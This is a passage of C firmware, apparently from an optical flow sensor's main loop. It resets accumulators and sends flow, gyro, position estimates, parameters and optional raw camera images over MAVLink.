ground_distance*accumulated_flow_x/integration_timespan; lpos.vy = ground_distance*accumulated_flow_y/integration_timespan; lpos.vz = 0; // no direct measurement, just ignore } else { /* toggling param allows user reset */ lpos.x = 0; lpos.y = 0; lpos.z = 0; lpos.vx = 0; lpos.vy = 0; lpos.vz = 0; } if (FLOAT_AS_BOOL(global_data.param[PARAM_USB_SEND_FLOW])) { mavlink_msg_optical_flow_send(MAVLINK_COMM_2, get_boot_time_us(), global_data.param[PARAM_SENSOR_ID], pixel_flow_x_sum * 10.0f, pixel_flow_y_sum * 10.0f, flow_comp_m_x, flow_comp_m_y, qual, ground_distance); mavlink_msg_optical_flow_rad_send(MAVLINK_COMM_2, get_boot_time_us(), global_data.param[PARAM_SENSOR_ID], integration_timespan, accumulated_flow_x, accumulated_flow_y, accumulated_gyro_x, accumulated_gyro_y, accumulated_gyro_z, gyro_temp, accumulated_quality/accumulated_framecount, time_since_last_sonar_update,ground_distance); } if(FLOAT_AS_BOOL(global_data.param[PARAM_USB_SEND_GYRO])) { mavlink_msg_debug_vect_send(MAVLINK_COMM_2, "GYRO", get_boot_time_us(), x_rate, y_rate, z_rate); } integration_timespan = 0; accumulated_flow_x = 0; accumulated_flow_y = 0; accumulated_framecount = 0; accumulated_quality = 0; accumulated_gyro_x = 0; accumulated_gyro_y = 0; accumulated_gyro_z = 0; velocity_x_sum = 0.0f; velocity_y_sum = 0.0f; pixel_flow_x_sum = 0.0f; pixel_flow_y_sum = 0.0f; valid_frame_count = 0; pixel_flow_count = 0; } } /* forward flow from other sensors */ if (counter % 2) { communication_receive_forward(); } /* send system state, receive commands */ if (send_system_state_now) { /* every second */ if (FLOAT_AS_BOOL(global_data.param[PARAM_SYSTEM_SEND_STATE])) { communication_system_state_send(); } send_system_state_now = false; } /* receive commands */ if (receive_now) { /* test every second */ communication_receive(); communication_receive_usb(); receive_now = false; } /* sending debug msgs and requested parameters */ if (send_params_now) { debug_message_send_one(); communication_parameter_send(); send_params_now = false; } /* send local position estimate, for testing only, doesn't account for heading */ if (send_lpos_now) { if (FLOAT_AS_BOOL(global_data.param[PARAM_SYSTEM_SEND_LPOS])) { mavlink_msg_local_position_ned_send(MAVLINK_COMM_2, timer_ms, lpos.x, lpos.y, lpos.z, lpos.vx, lpos.vy, lpos.vz); } send_lpos_now = false; } /* transmit raw 8-bit image */ if (FLOAT_AS_BOOL(global_data.param[PARAM_USB_SEND_VIDEO])&& send_image_now) { /* get size of image to send */ uint16_t image_size_send; uint16_t image_width_send; uint16_t image_height_send; image_size_send = image_size; image_width_send = global_data.param[PARAM_IMAGE_WIDTH]; image_height_send = global_data.param[PARAM_IMAGE_HEIGHT]; mavlink_msg_data_transmission_handshake_send( MAVLINK_COMM_2, MAVLINK_DATA_STREAM_IMG_RAW8U, image_size_send, image_width_send, image_height_send, image_size_send / MAVLINK_MSG_ENCAPSULATED_DATA_FIELD_DATA_LEN + 1, MAVLINK_MSG_ENCAPSULATED_DATA_FIELD_DATA_LEN, 100); LEDToggle(LED_COM); uint16_t frame = 0; for (frame = 0; frame < image_size_send / MAVLINK_MSG_ENCAPSULATED_DATA_FIELD_DATA_LEN + 1; frame++) { mavlink_msg_encapsulated_data_send(MAVLINK_COMM_2, frame, &((uint8_t *) previous_image)[frame * MAVLINK_MSG_ENCAPSULATED_DATA_FIELD_DATA_LEN]); } send_image_now = false; } else if (!FLOAT_AS_BOOL(global_data.param[PARAM_USB_SEND_VIDEO])) { LEDOff(LED_COM); } } }